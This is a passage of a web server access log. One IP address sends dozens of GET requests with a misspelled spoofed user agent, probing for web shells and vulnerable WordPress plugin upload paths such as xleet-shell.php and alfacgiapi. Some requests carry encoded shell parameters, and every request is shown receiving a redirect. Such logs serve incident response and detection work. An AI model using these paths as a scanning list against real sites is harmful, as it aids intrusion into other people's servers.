/wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:56 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:04 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:08 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:11 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:19 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:27 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:45 +0330] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:57 +0330] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:54 +0330] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:01 +0330] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:08 +0330] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:19 +0330] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:34 +0330] "GET /abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:44 +0330] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:49 +0330] "GET /xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:53 +0330] "GET /king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:56 +0330] "GET /a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:05 +0330] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:08 +0330] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:12 +0330] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:26 +0330] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:38 +0330] "GET /wp-content/plugins/dzs-zoomsounds/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:06 +0330] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:12 +0330] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:26 +0330] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:30 +0330] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:31 +0330] "GET /abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:37 +0330] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:39 +0330] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:46 +0330] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:40:57 +0330] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:14 +0330] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:21 +0330] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:23 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:29 +0330] "GET /wp-content/plugins/cherry-plugin/admin/import-export/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:34 +0330] "GET /wp-content/plugins/apikey/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:42 +0330] "GET /wp-content/plugins/wp-file-upload/ROOBOTS.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:46 +0330] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:51 +0330] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:53 +0330] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:55 +0330] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:01 +0330] "GET /ALFA_DATA/alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:11 +0330] "GET /wp-admin/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:15 +0330] "GET /alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:18 +0330] "GET /wp-content/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:20 +0330] "GET /wp-includes/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:48 +0330] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:51 +0330] "GET /wp-includes/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:58 +0330] "GET /wp-admin/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:03 +0330] "GET /.seo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:05 +0330] "GET /xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:40 +0330] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:41:57 +0330] "GET /modules/mod_simplefileuploadv1.3/elements/i8HQoK6nR.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:06 +0330] "GET /database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:27 +0330] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:30 +0330] "GET /wp-admin/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:35 +0330] "GET /wp-content/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:38 +0330] "GET /wp-includes/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:41 +0330] "GET /jamal.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:46 +0330] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=6370726573 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:52 +0330] "GET /wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:42:54 +0330] "GET /wp-content/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:02 +0330] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:14 +0330] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:17 +0330] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:22 +0330] "GET /xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:27 +0330] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:34 +0330] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:38 +0330] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:43 +0330] "GET /3x.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:52 +0330] "GET /wp-includes/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:54 +0330] "GET /wp-content/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:57 +0330] "GET /wp-content/themes/wp.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:01 +0330] "GET /css/colors/blue/ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:02 +0330] "GET /wp-admin/css/colors/blue/ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:19 +0330] "GET /wp-content/plugins/prenota/alpha.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:30 +0330] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:33 +0330] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:37 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:41 +0330] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:45 +0330] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:10 +0330] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:40 +0330] "GET /index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:43:48 +0330] "GET /wp-admin/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:06 +0330] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:22 +0330] "GET /wp-content/wp-links.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A 